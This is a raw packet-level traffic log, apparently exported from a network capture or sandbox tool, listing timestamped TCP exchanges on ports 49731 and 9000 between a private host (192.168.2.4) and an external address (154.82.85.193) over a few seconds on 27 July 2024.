Jul 27, 2024 16:49:26.926743984 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:26.926744938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:26.926744938 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:26.981539965 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.148916960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149008036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149041891 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149087906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149138927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149167061 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.149167061 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.149173021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149207115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149233103 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.149240971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149274111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149298906 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.149310112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.149513960 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.375457048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375530958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375566006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375598907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375632048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375665903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375699043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375730991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375765085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375761032 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.375761986 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.375761986 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.375798941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.375832081 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.375853062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.597415924 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597465038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597503901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597537994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597572088 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597604990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597641945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.597661018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.597661018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.597661018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.598037958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.598083019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.598100901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.598119974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.598270893 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.598270893 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.637762070 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.819364071 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819430113 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819466114 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819495916 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.819500923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819535971 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819566011 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.819569111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819606066 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.819613934 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.821433067 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.821480989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.821516991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.821552992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:27.821626902 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.821626902 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:27.872212887 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.044209003 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044258118 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044292927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044327021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044363022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044394970 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044426918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044461966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044539928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.044539928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.044539928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.044539928 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.044909954 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.044965982 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.045001984 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.045124054 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.091013908 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506016970 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506067991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506124020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506162882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506213903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506247997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506280899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506304026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506304026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506304979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506314039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506346941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506376028 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506381035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506412983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506445885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506455898 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506483078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506514072 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.506603003 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.506664991 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510112047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510186911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510236025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510271072 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510324001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510355949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510387897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510421991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510442019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510442019 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510456085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510489941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510508060 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510524035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510545015 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510556936 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510591030 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510616064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.510626078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.510682106 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.708976030 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709047079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709099054 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709131956 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709139109 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.709166050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709198952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709206104 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.709233046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709264040 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.709265947 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709300041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709315062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.709333897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709371090 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.709386110 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.711524963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.711558104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.711591959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.711599112 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.711649895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.932617903 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932684898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932703972 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932719946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932737112 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932768106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932802916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.932964087 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.932965040 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.935409069 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935456991 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935494900 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935528040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935561895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935600042 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:28.935599089 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.935599089 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.935683966 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:28.981600046 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160156965 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160204887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160238981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160270929 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160304070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160336018 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160370111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160403013 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160435915 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160466909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160463095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160464048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160464048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160464048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160537004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160562038 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160572052 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160605907 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160639048 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.160640001 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.160708904 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.250112057 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.294152975 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378071070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378118992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378154039 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378187895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378221989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378274918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378305912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378305912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378333092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378366947 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378371000 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378400087 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378432989 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378433943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378468037 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378494978 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378503084 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378536940 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378561020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.378572941 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.378628016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.500384092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.544111967 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.601763964 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601811886 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601847887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601880074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601914883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601948023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.601984024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602031946 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602032900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602032900 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602339983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602401018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602463961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602515936 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602566957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602569103 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602598906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602636099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602648020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.602669954 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.602720022 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.694037914 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.747294903 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.823920012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.823946953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.823956966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824187040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824266911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824301958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824330091 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824330091 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824337006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824382067 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824394941 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824434996 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824440002 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824470997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824531078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824565887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824599981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824632883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824661016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824661016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824688911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824718952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:29.824727058 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:29.824773073 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.047017097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047065020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047100067 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047132969 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047167063 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047200918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047235012 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047270060 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.047343016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.047343016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.047343969 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.047343969 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.048404932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048454046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048510075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.048525095 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048573017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048608065 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048638105 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.048640966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048675060 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048687935 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.048710108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048747063 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.048753977 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.090982914 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270256042 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270323038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270358086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270390987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270426035 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270458937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270494938 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270529032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270554066 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270554066 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270554066 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270561934 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270595074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270625114 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270627975 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270658970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270663023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270699978 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270735979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.270941973 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270973921 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.270992994 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.271009922 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.271043062 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.271059036 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.325344086 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.492274046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.492325068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.492361069 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.492544889 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.493808985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.493879080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.493932009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.493966103 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.494000912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.494009018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.494009018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.494033098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.494066954 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:30.494074106 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:30.494098902 CEST	9000	49731	154.82.85.193	192.168.2.4
